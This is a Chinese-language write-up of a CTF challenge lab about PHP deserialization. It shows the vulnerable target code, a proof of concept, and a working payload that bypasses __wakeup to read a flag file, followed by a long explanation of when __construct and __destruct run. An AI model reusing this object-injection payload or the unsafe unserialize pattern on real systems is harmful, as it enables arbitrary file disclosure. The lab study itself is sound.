由NSSCTF-SWPUCTF-ez_ez_unserialize,引发对反序列具体详细过程以及对__construct,__destruct函数执行情况深度分析

前置知识:

1
2
3
4
5
6
7
8
9
10
11
1,php中__FILE__是什么意思,
php中__FILE__是一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名。自PHP 4.0.2版本起,它总是包含一个绝对路径。

2,__wakeup()说明,
unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法

3,__wakeup()魔术方法绕过,
php版本为PHP5<5.6.25,PHP7 < 7.0.10时,只要序列化的中的成员数大于实际成员数,即可绕过该魔法函数,比如一个ctf的类序列化后是
O:3:"ctf":1:{s:4:"flag";s:3:"111";}
把成员数"1",改为"2"即可绕过,更改之后为
O:3:"ctf":2:{s:4:"flag";s:3:"111";}

进入靶场,发现是一个反序列化题目,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}

先说下我当时的想法,就是一看到__wakeup(),八成是要绕过它的,然后危险函数是highlight_file(),只需要把里面的变量换为flag的绝对路径,然后将序列化后的字符中路径修改为靶机flag文件的绝对路径,接着再修改成员数(必须大于当前真实的成员数目),提交参数就可以了。

编写poc,

1
2
3
4
5
6
7
8
<?php
class X
{
public $x = __FILE__;

}
$a=new X();
echo(serialize($a));

运行结果为,

1
O:1:"X":1:{s:1:"x";s:37:"D:\桌面\工具\php\teacher.php";}

百度搜下linux的www文件目录一般是什么,

那么把目录修改下,最终的payload为,

1
2
3
O:1:"X":2:{s:1:"x";s:27:"/var/www/html/fllllllag.php";}
//注意目录改变后,需要将目录的长度修改为当前实际长度27(原来是37)
//因为要绕过__wakeup(),需要将成员数1修改为2(任何大于1的都可以)

提交成功,flag浮现,



写一个题目的目的不仅仅是找到正确flag得分,更重要的是从这个题目中学到了些什么知识

这个题目我只是依靠经验做出来了,但是如果让我具体分析

1,为什么要绕过__wakeup(),不绕过为什么不行?

2,为什么提交payload后不是显示的是x = __FILE__;的源码?触发__construct()函数不是会将$x赋值为当前文件件绝对路径吗?我说不出来……



所以在提交完正确的flag后,我也是想到了刚才说的两个问题,于是乎再研究了一下,现在回答下这两个问题。

先了解一下反序列化具体过程,

1
2
3
4
5
unserialize() 对单一的已序列化的变量进行操作,将其转换回 php 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。 
简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。

$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串)
$变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

通过一个例子来了解反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class user
{
public $age = 0;
public $name = '';

public function printdata()
{
echo 'user '.$this->name.' is '.$this->age.' years old. <br />';
}
}
//重建对象
$user = unserialize('O:4:"user":2:{s:3:"age";i:10;s:4:"name";s:4:"tome";}');

$user->printdata();

?>

通过源码知道,虽然没有创建类user的对象,但是反序列化之后,可以直接调用$user中的printdata()方法。那么问题来了,unserialize()函数返回的是个什么东东,为什么可以当对象使用?

在本地测试一下,

发现unserialize()函数返回值是类user的一个实例对象,其中对象里变量$age,$name的值是序列化字符串里对应的,10,tome。

简单说,不管类中变量值是什么,构造的序列化字符串里变量的值是什么,反序列化后创建的该类对象里的变量值就是什么。

上述代码运行结果如下,

验证了上述猜测。

我还有个疑问,就是__construct(),__destruct()这两个函数什么情况下被触发?以前都是看的比较专业的语言说明的,也没看太懂。

通过下面例子可以更明白两个函数被触发的情况,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestClass
{
public function __construct() {
echo "__construct()!!!";
}
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
echo "000\n";
$a = serialize($class);
echo "111\n";
$b = unserialize($a);
echo "222\n";
unset($class);

输出,

1
2
3
4
__construct()!!!000
111
222
__destruct()!!!__destruct()!!!

去掉unset()函数,再试下没有该函数,会不会触发__destruct()函数?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestClass
{
public function __construct() {
echo "__construct()!!!";
}
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
echo "000\n";
$a = serialize($class);
echo "111\n";
$b = unserialize($a);
echo "222\n";
//unset($class);

输出结果,还是一样的,

1
2
3
4
__construct()!!!000
111
222
__destruct()!!!__destruct()!!!

(1)说明__construct()会在创建对象的时候($class = new TestClass();)被触发,但是反序列化时$b = unserialize($a);,不会被触发。

为什么反序列化返回了一个对象,但是不会触发__construct()呢?下面是我的一些理解,有不正确的地方请各位大佬批评指正,

1
2
3
4
虽然有对象被创建,但是因为unserialize函数不一定返回的是对象,可返回 integer、float、string、array 或 object。
如果反序列化返回的不是一个对象,那么__construct()就不会被触发, 而integer、float、string、array这些数据类型应该是一样的。
所以反序列化返回的是一个对象时,也不会触发__construct()。
因此可以理解为什么反序列化对象字符为对象的时候,虽然有对象被创建,甚至可以调用返回对象中的函数,但是并不会触发__construct()函数

(2)说明__destruct()会在代码执行完成后被触发一次,因为在php中,程序在运行结束后,会自动的销毁对象!这时会触发destruct()函数。反序列化完成时会触发一次(我理解的是销毁对象),所以才输出两个__destruct()!!!

反序列化完成时会触发__destruct()函数一次(我理解的是销毁对象),这个怎么理解呢,直接上代码说明,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class TestClass
{
public $b;
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
$a=serialize($class);
//$b = unserialize($a);
//没有反序列化的情况下,输出__destruct()!!!
------------------------------------------------------------------------------------------------------------
<?php
class TestClass
{
public $b;
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
$a=serialize($class);
$b = unserialize($a);
//有反序列的情况下,输出__destruct()!!!__destruct()!!!


最后总的来梳理一下题目反序列化时的过程,

1
2
3
4
5
6
7
8
9
10
1,运行poc,输入序列化后的字符串  O:1:"X":1:{s:1:"x";s:37:"D:\桌面\工具\php\teacher.php";}
修改fllllllag.php文件路径为 /var/www/html/fllllllag.php ,并修改相应字符长度值为27。
提交后,在执行unserialize()函数之前,先检查类里是否有__wakeup()函数,本题中有,就会先执行该函数,
然后会把$x的值赋值为当前文件的绝对路径,我们想要的是fllllllag.php文件,于是需要绕过__wakeup()函数。

2,开始执行unserialize()函数,由于靶机源码中没有$class = new TestClass()这样的创建实体对象代码,所以这时不会触发__construct()函数(不理解的话,可以看文章前面的分析)

3,反序列化后,将传入的序列化字符串中的变量$x的值 /var/www/html/fllllllag.php 赋值给X类中的$x,

4,程序执行完毕,触发 __destruct()函数,并显示路径为$x的文件内容。

—————————————————————————–END——————————————————————————————————-